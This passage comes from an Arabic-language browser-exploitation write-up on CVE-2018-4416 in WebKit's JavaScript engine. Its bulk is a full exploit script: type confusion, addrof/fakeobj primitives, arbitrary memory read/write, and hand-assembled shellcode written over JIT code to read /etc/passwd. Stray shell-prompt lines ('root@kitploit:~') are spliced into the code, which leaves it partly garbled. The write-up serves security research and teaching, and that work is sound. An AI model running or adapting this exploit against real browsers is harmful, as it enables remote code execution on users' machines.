من الواضح أنه بتنسيق مؤشر. يمكننا الآن تسريب أي كائن!

*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: الحصول على =fakeob= يكاد يكون مطابقًا لصناعة =addrof=. الفرق هو أنك تحتاج إلى ملء عنوان في =UInt32Array=، ثم الحصول على الكائن عبر الخاصية =a= في =fake_object=

*** Arbitrary R/W and Shellcode Execution :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: إنه مشابه لسكربت الاستغلال في تحدي =WebKid=. السكربت الكامل طويل جدًا لشرحه سطرًا سطرًا. ومع ذلك، يمكنك العثور عليه [[/assets/CVE-2018-4416.js][هنا]]. قد تحتاج إلى حوالي 10 جولات لنجاح الاستغلال. سيقرأ ملف =/etc/passwd= عند النجاح. إليك الكود الأساسي:

#+begin_example // get compiled function var func = makeJITCompiledFunction();

function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

// Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};
  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};
      // Compiler are misleaded that obj and tmp shared same type
      return obj[k];
  }

}

opt({});

// Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }

// get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }

// Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }

addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');

// Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;

var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }

// We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b

var origButterfly = hax[1];

var memory = { addrof: addrof, fakeobj: fakeobj,

root@kitploit:~
  // Write an int64 to the given address.
  // we change the butterfly of victim to addr + 0x10
  // when victim change the pointer attribute, it will read butterfly - 0x10
  // which equal to addr + 0x10 - 0x10 = addr
  // read arbiutrary value is almost the same
  writeInt64(addr, int64) {
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = int64.asJSValue();
  },

  // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
  write16(addr, value) {
      // Set butterfly of victim object and dereference.
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = value;
  },

  // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
  write(addr, data) {
      while (data.length % 4 != 0)
          data.push(0);

      var bytes = new Uint8Array(data);
      var ints = new Uint16Array(bytes.buffer);

      for (var i = 0; i < ints.length; i++)
          this.write16(Add(addr, 2 * i), ints[i]);
  },

  // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
  read64(addr) {
      // Set butterfly of victim object and dereference.
      hax[1] = Add(addr, 0x10).asDouble();
      return this.addrof(victim.pointer);
  },

  // Verify that memory read and write primitives work.
  test() {
      var v = {};
      var obj = {p: v};

      var addr = this.addrof(obj);
      assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

      var propertyAddr = Add(addr, 0x10);

      var value = this.read64(propertyAddr);
      assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

      this.write16(propertyAddr, 0x1337);
      assert(obj.p == 0x1337, "write16 does not work");
  },

};

memory.test(); debug("[+] limited memory read/write working");

// Get JIT code address debug(describe(func)) var funcAddr = memory.addrof(func); debug([+] shellcode function object @ ${funcAddr}); var executableAddr = memory.read64(Add(funcAddr, 24)); debug([+] executable instance @ ${executableAddr}); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug([+] JITCode instance @ ${jitCodeObjAddr}); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug([+] JITCode @ ${jitCodeAddr});

// Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);

// trigger and get /etc/passwd func(); print() #+end_example


  • Conclusion :PROPERTIES: :CUSTOM_ID: conclusion :END: لقد عرضنا استغلال الجزء الأكثر تعقيدًا في المتصفح - محرك جافا سكريبت. ومع ذلك، المتصفح ضخم. هناك العديد من أسطح الهجوم الأخرى، مثل DOM وWASM. بعض الباحثين يجدون أيضًا ثغرات في قاعدة بيانات SQL المستخدمة من قبل المتصفحات قد تتحول إلى RCE. كن صبورًا وكن مبدعًا.

  • References :PROPERTIES: :CUSTOM_ID: references :END:
  • /Groß S/, 2018, Black Hat USA, /"مهاجمة مترجمات JIT في جهة العميل"/
  • /Han C/, [[https://github.com/tunz/js-vuln-db/][/"js-vuln-db"/]]
  • /Gianni A/ and /Heel1an S/, /"استغلال كومة WebKit"/
  • /Filip Pizlo/, http://www.filpizlo.com, شكرًا على العديد من العروض التقديمية!
  • /Groß S/, 2018, 35C3 CTF /تحدي WebKid/
  • /dwfault/, 2018, [[http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/][/مهارات تصحيح أخطاء WebKit/]]
تنزيل الأداة